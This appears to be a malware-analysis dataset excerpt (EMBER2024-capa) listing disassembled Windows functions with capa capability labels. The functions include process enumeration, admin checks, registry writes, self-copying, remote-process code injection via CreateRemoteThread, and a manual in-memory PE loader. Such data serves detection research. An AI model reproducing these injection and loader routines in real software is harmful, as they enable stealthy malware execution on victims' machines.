joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ac9
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
push esi
push edi
xor edi, edi
push 0x124
lea eax, [esp + 0x10]
push edi
push eax
mov dword [esp + 0x14], edi
call sub.ntdll.dll_memset
add esp, 0xc
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402b04
xor eax, eax
jmp 0x402b64
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402b00
push dword [ebp + 8]
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402b40
push dword [esp + 0x10]
push 0x100400
call fcn.004029a5
cmp eax, edi
jne 0x402b52
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402b1c
jmp 0x402b5c
push eax
call fcn.00402d6f
mov edi, dword [esp + 0x10]
push esi
call fcn.00402d6f
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x402c22
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
and dword [ebp - 0x12c], 0
push esi
push edi
push 0x124
lea eax, [ebp - 0x128]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402c60
xor eax, eax
jmp 0x402cc9
lea eax, [ebp - 0x12c]
push eax
push esi
mov dword [ebp - 0x12c], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402c5c
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402c85
sub eax, edx
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
push eax
call fcn.00404e0c
cmp eax, dword [ebp + 8]
je 0x402cbb
lea eax, [ebp - 0x12c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402c7c
jmp 0x402cc1
mov edi, dword [ebp - 0x124]
push esi
call fcn.00402d6f
mov eax, edi
pop edi
pop esi
leave
ret 4

Function at 0x402ccf
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
and dword [esp], 0
push esi
push edi
push 0x124
lea eax, [esp + 0x10]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402d0b
xor eax, eax
jmp 0x402d67
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402d07
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402d2a
sub eax, edx
push eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
push eax
call fcn.00404e0c
cmp eax, dword [ebp + 8]
je 0x402d5c
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402d23
jmp 0x402d5f
xor edi, edi
inc edi
push esi
call fcn.00402d6f
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40305f
Capabilities:
Check os version
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
mov edx, 0x9c
xor al, al
mov ecx, edx
lea edi, [ebp - 0xb4]
rep stosb byte es:[edi], al
lea eax, [ebp - 0xb4]
push eax
xor ebx, ebx
mov dword [ebp - 0xb4], edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x40309c
xor eax, eax
jmp 0x40317c
cmp dword [ebp - 0xa4], 2
jne 0x403176
cmp dword [ebp - 0xb0], 6
jb 0x403176
lea eax, [ebp - 4]
push eax
push 8
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x403172
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push 0x12
push dword [ebp - 4]
mov dword [ebp - 0x10], ebx
call esi
test eax, eax
jne 0x4030fd
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403095
cmp dword [ebp - 0x18], 3
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jne 0x403165
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x13
push dword [ebp - 4]
mov dword [ebp - 8], ebx
call esi
test eax, eax
je 0x4030f2
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xf8]
push eax
push ebx
push 0x1a
mov dword [ebp - 0x14], 0x44
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x40315e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0xf8]
push eax
push dword [ebp - 8]
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x40315e
mov ebx, dword [ebp - 0xc]
push dword [ebp - 8]
call edi
jmp 0x40316d
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov ebx, eax
push dword [ebp - 4]
call edi
mov eax, ebx
jmp 0x40317c
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40321b
Capabilities:
Enumerate files on windows
Get common file path
Query environment variable
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
push ebx
push esi
push edi
xor edi, edi
push 0x13c
lea eax, [ebp - 0x148]
push edi
push eax
mov dword [ebp - 0x14c], edi
call sub.ntdll.dll_memset
add esp, 0xc
push 0x18
pop eax
mov dword [ebp - 8], edi
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, edi
je 0x403268
push 0x82
push 0x14
mov eax, esi
mov edx, 0x40a9a0
call fcn.0040498f
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov ebx, esp
cmp ebx, edi
je 0x403289
push 0x89
push 0x14
mov eax, ebx
mov edx, 0x40a9b4
call fcn.0040498f
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x4032aa
push 0x8d
push 5
mov eax, edi
mov edx, 0x40a9cc
call fcn.0040498f
call fcn.0040291d
test eax, eax
mov eax, ebx
jne 0x4032b7
mov eax, esi
mov esi, 0x104
push esi
lea ecx, [ebp - 0x254]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x35c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x254]
push eax
call esi
push edi
lea eax, [ebp - 0x254]
push eax
call fcn.00404b88
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
test edi, edi
je 0x4033b9
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
test eax, eax
je 0x4033a3
cmp dword [ebp - 0xc], 0
jne 0x4033a3
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40335e
push 0x8e
push 9
mov edx, 0x40a6b8
call fcn.0040498f
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00403c46
test eax, eax
je 0x4033a3
cmp dword [ebp + 8], 0
je 0x403390
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x564]
push 0x408734
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x564]
push eax
call fcn.00403d59
test eax, eax
je 0x4033a3
lea eax, [ebp - 0x120]
push eax
call fcn.00402e3a
mov dword [ebp - 8], eax
test eax, eax
jne 0x4033b9
lea eax, [ebp - 0x14c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403313
lea eax, [ebp - 0x35c]
push eax
call esi
test edi, edi
je 0x4033cd
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x574]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40340d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
xor ebx, ebx
mov esi, 0x103
push esi
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x10b]
push ebx
push eax
mov byte [ebp - 0x10c], bl
call sub.ntdll.dll_memset
add esp, 0x18
cmp dword [ebp + 8], ebx
je 0x403539
lea edi, [esi + 1]
push edi
lea eax, [ebp - 0x210]
push eax
push 0x42c318
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x34
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x40348f
push 0x82
push 0x31
mov edx, 0x40a250
call fcn.0040498f
lea ecx, [ebp - 4]
push ecx
push 0x20206
push ebx
push eax
mov esi, 0x80000001
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x4034b9
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp eax, ebx
jne 0x40352b
push 0x30
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x4034dc
push 0x85
push 0x2d
mov edx, 0x40a220
call fcn.0040498f
lea ecx, [ebp - 0x210]
push ecx
push eax
lea eax, [ebp - 0x10c]
push edi
push eax
call sub.ntdll.dll__snprintf
lea eax, [ebp - 0x10c]
add esp, 0x10
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4034fd
sub eax, esi
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
push 1
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40352b
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
cmp dword [ebp - 4], ebx
je 0x403539
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esp, [ebp - 0x21c]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4037cd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push edi
test esi, esi
je 0x403846
push 0x3c
pop edx
xor al, al
mov ecx, edx
lea edi, [ebp - 0x3c]
rep stosb byte es:[edi], al
mov eax, dword [ebp + 8]
and dword [ebp - 0x20], 0
push 8
mov dword [ebp - 0x28], eax
pop eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x2c], esi
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x403813
push 0x84
push 4
mov edx, 0x40a81c
call fcn.0040498f
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], 0x800040
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
cmp dword [ebp + 0xc], 0
je 0x403846
cmp dword [ebp - 4], 0
je 0x403846
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call fcn.00402d6f
lea esp, [ebp - 0x40]
pop edi
leave
ret 8
Function at 0x403baf
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
xor esi, esi
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x403c34
push 0x80000000
push dword [ebp + 8]
call fcn.00403b56
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x403c34
push edi
xor eax, eax
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
cmp esi, ebx
je 0x403c28
call fcn.00404cfd
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, ebx
je 0x403c28
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
jne 0x403c28
mov esi, edi
call fcn.00404db1
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call fcn.00402d6f
mov esi, dword [ebp - 0xc]
pop edi
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x403c3d
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 8

Function at 0x403c46
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x403d49
cmp dword [ebp + 0xc], edi
je 0x403d49
push edi
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov esi, eax
cmp esi, edi
je 0x403d49
call fcn.00404cfd
mov ebx, eax
cmp ebx, edi
je 0x403d49
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x403d42
push 0x1c
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x403cbf
push 0x86
push 0x1a
mov edx, 0x40a980
call fcn.0040498f
mov edi, dword [sym.imp.VERSION.dll_VerQueryValueA]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push ebx
call edi
test eax, eax
je 0x403d42
push 0x28
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x403cf4
push 0x98
push 0x27
mov edx, 0x40a88c
call fcn.0040498f
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 2]
movzx ecx, word [ecx]
push edx
push ecx
push eax
lea eax, [ebp - 0x118]
push 0x104
push eax
call sub.ntdll.dll__snprintf
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x118]
push eax
push ebx
call edi
test eax, eax
je 0x403d42
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x403d42
mov dword [ebp - 4], 1
mov esi, ebx
call fcn.00404db1
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x124]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x403e41
Capabilities:
Delete file
Set file attributes

Disassembly:
xor eax, eax
test edi, edi
je 0x403e61
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call esi
test eax, eax
jne 0x403e60
push edi
call esi
pop esi
ret
Function at 0x4040cd
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push edi
mov edi, 0x42c1b0
push edi
xor ebx, ebx
call esi
test eax, eax
je 0x40413c
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40410c
push 0x87
push 0x12
mov edx, 0x40a9f0
call fcn.0040498f
push edi
push eax
lea eax, [ebp - 0x104]
push 0x104
push eax
call sub.ntdll.dll__snprintf
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call esi
test eax, eax
je 0x40413c
lea edi, [ebp - 0x104]
call fcn.00403e41
mov ebx, eax
mov eax, ebx
lea esp, [ebp - 0x110]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404149
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push edi
push 3
xor edi, edi
call fcn.00404de5
add eax, 3
push eax
call fcn.00404a4f
mov ebx, eax
cmp ebx, edi
je 0x4041b6
push esi
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call fcn.004043d0
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4041ae
mov esi, 0x104
call fcn.00404cfd
mov edi, eax
test edi, edi
je 0x4041ae
push edi
push 0xffffffffffffffff
call fcn.00404de5
push eax
push ebx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, ebx
call fcn.00404db1
pop esi
mov eax, edi
pop edi
pop ebx
leave
ret

Function at 0x404248
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor ebx, ebx
xor esi, esi
push edi
cmp dword [ebp + 8], ebx
je 0x404330
push dword [ebp + 8]
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x404330
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
mov edi, 0x99
cmp esi, ebx
je 0x404299
push edi
push 2
mov eax, esi
mov edx, 0x40aa5c
call fcn.0040498f
push 0xffffffffffffffff
call fcn.00404de5
push eax
push esi
lea eax, [ebp - 0x104]
push 0x104
push eax
call sub.ntdll.dll__snprintf
lea eax, [ebp - 0x104]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4042bf
sub eax, edx
cmp eax, 6
jb 0x404299
cmp byte [ebp - 0x104], bl
je 0x4042f9
lea ecx, [ebp - 0x104]
movsx eax, byte [ecx]
lea edx, [eax - 0x30]
and edx, 0x80000001
jns 0x4042ee
dec edx
or edx, 0xfffffffe
inc edx
je 0x4042f4
add al, 0x31
mov byte [ecx], al
inc ecx
cmp byte [ecx], bl
jne 0x4042db
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call fcn.00404b88
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x404323
push edi
push 4
mov edx, 0x40a62c
call fcn.0040498f
push eax
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
xor esi, esi
inc esi
mov eax, esi
lea esp, [ebp - 0x110]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40433f
Capabilities:
Access pe header
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
xor edi, edi
and dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x4043c9
push esi
push 0x104
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00403baf
mov esi, eax
test esi, esi
je 0x4043ab
cmp dword [ebp - 4], edi
je 0x4043ab
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov edi, eax
test edi, edi
je 0x4043ab
push 0xffffffffffffffff
call fcn.00404de5
push esi
push dword [ebp + 8]
mov dword [edi + 0x58], eax
mov eax, dword [ebp - 4]
call fcn.00403de2
mov edi, eax
test edi, edi
jne 0x4043bf
push 1
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, eax
test esi, esi
je 0x4043c8
call fcn.00404db1
pop esi
mov eax, edi
pop edi
leave
ret 4

Function at 0x40453e
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push dword [ebp + 8]
push 8
pop edi
push edi
call esi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4045a8
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x18
jne 0x40463b
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push dword [ebp + 8]
push edi
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40465a
lea eax, [ebp - 0x228]
push eax
push ebx
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x40464f
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp + 8], eax
test eax, eax
je 0x4045e9
push 0x80
push 6
mov edx, 0x40a68c
call fcn.0040498f
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x404609
push 0x81
push 4
mov eax, edi
mov edx, 0x40a628
call fcn.0040498f
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
je 0x404627
push edi
push eax
call esi
test eax, eax
jne 0x404648
lea eax, [ebp - 0x228]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x40460f
jmp 0x40464f
call ebx
cmp eax, 0x12b
je 0x40465a
call ebx
jmp 0x40465a
mov dword [ebp - 4], 1
cmp ebx, 0xffffffff
je 0x40465a
push ebx
call fcn.00402d6f
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x234]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x404696
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
push edi
mov ebx, eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
cmp ebx, eax
sete cl
mov dword [ebp - 4], esi
mov dword [ebp - 8], ecx
cmp ebx, esi
je 0x40485b
mov edi, dword [ebp + 8]
cmp edi, esi
je 0x40485b
cmp dword [ebp + 0xc], esi
je 0x40485b
cmp ecx, esi
jne 0x40470c
call fcn.0040291d
test eax, eax
je 0x4046ef
call fcn.0040291d
test eax, eax
je 0x40486f
push ebx
push 0x10043a
call fcn.004029a5
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x404714
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40485b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x4046fa
cmp dword [ebp - 8], esi
jne 0x404737
push 0x2710
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 4]
call fcn.0040466a
test eax, eax
jne 0x404861
push ebx
call fcn.0040453e
test eax, eax
jne 0x40474f
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x404737
push ebx
call fcn.0040453e
test eax, eax
je 0x40485b
mov esi, dword [edi + 0x3c]
add esi, edi
mov eax, dword [esi + 0x50]
test eax, eax
je 0x40485b
add eax, dword [ebp + 0xc]
push 4
push 0x3000
push eax
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x40485b
mov eax, dword [esi + 0x54]
push edi
push ebx
push dword [ebp - 4]
call fcn.004044e4
movzx eax, word [esi + 0x14]
and dword [ebp - 0x10], 0
xor ecx, ecx
lea eax, [eax + esi + 0x18]
cmp cx, word [esi + 6]
jae 0x4047da
lea edi, [eax + 0x14]
mov eax, dword [edi]
add eax, dword [ebp + 8]
push eax
mov eax, dword [edi - 8]
add eax, ebx
push eax
push dword [ebp - 4]
mov eax, dword [edi - 4]
call fcn.004044e4
movzx eax, word [esi + 6]
add edi, 0x28
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jl 0x4047b1
mov edi, dword [ebp + 8]
mov eax, dword [esi + 0x50]
push edi
add eax, ebx
push eax
push dword [ebp - 4]
mov eax, dword [ebp + 0xc]
call fcn.004044e4
mov edi, dword [esi + 0x28]
lea eax, [ebp - 0x14]
push eax
push 0x40
push dword [esi + 0x50]
xor edi, 0x31337
push ebx
add edi, ebx
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor esi, esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp dword [ebp - 8], esi
je 0x404823
push edi
call fcn.00402a60
jmp 0x404854
push esi
push esi
push esi
push edi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
je 0x404843
push eax
call fcn.00402d6f
mov dword [ebp - 0xc], 1
jmp 0x404861
push edi
push ebx
call fcn.00404404
cmp eax, esi
je 0x404861
push eax
call fcn.00402d6f
mov dword [ebp - 0xc], 1
cmp dword [ebp - 8], 0
jne 0x40486f
cmp dword [ebp - 4], 0
je 0x40486f
push dword [ebp - 4]
call fcn.00402d6f
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x404879
Capabilities:
Access pe header
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x404988
cmp dword [ebp + 0xc], 0
je 0x404988
push ebx
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x404987
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
mov dword [ebp + 0xc], edx
test edx, edx
je 0x404987
mov ecx, dword [ebx + 0x54]
and dword [ebp - 4], 0
push edi
mov edi, edx
rep movsb byte es:[edi], byte [esi]
movzx eax, word [ebx + 0x14]
xor ecx, ecx
lea eax, [eax + ebx + 0x2c]
cmp cx, word [ebx + 6]
jae 0x4048fe
mov esi, dword [eax]
mov edi, dword [eax - 8]
add esi, dword [ebp + 8]
mov ecx, dword [eax - 4]
add edi, edx
rep movsb byte es:[edi], byte [esi]
movzx ecx, word [ebx + 6]
add eax, 0x28
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x4048e0
push edx
call fcn.0040384e
mov edi, dword [ebx + 0x80]
mov esi, edx
add edi, esi
jmp 0x404960
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [ebp + 8], eax
test eax, eax
je 0x40495d
cmp dword [edi + 4], 0
je 0x40492a
mov esi, dword [edi]
jmp 0x40492d
mov esi, dword [edi + 0x10]
add esi, dword [ebp + 0xc]
cmp dword [esi], 0
je 0x40495a
mov eax, dword [esi]
test eax, eax
jns 0x404942
and eax, 0xffff
jmp 0x404949
mov ecx, dword [ebp + 0xc]
lea eax, [eax + ecx + 2]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
add esi, 4
jmp 0x404930
mov esi, dword [ebp + 0xc]
add edi, 0x14
mov eax, dword [edi + 0xc]
push 0
push 0
test eax, eax
jne 0x404910
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [ebx + 0x78]
mov eax, dword [eax + esi + 0x1c]
mov eax, dword [eax + esi]
add eax, esi
call eax
pop edi
pop ebx
xor eax, eax
pop esi
leave
ret 8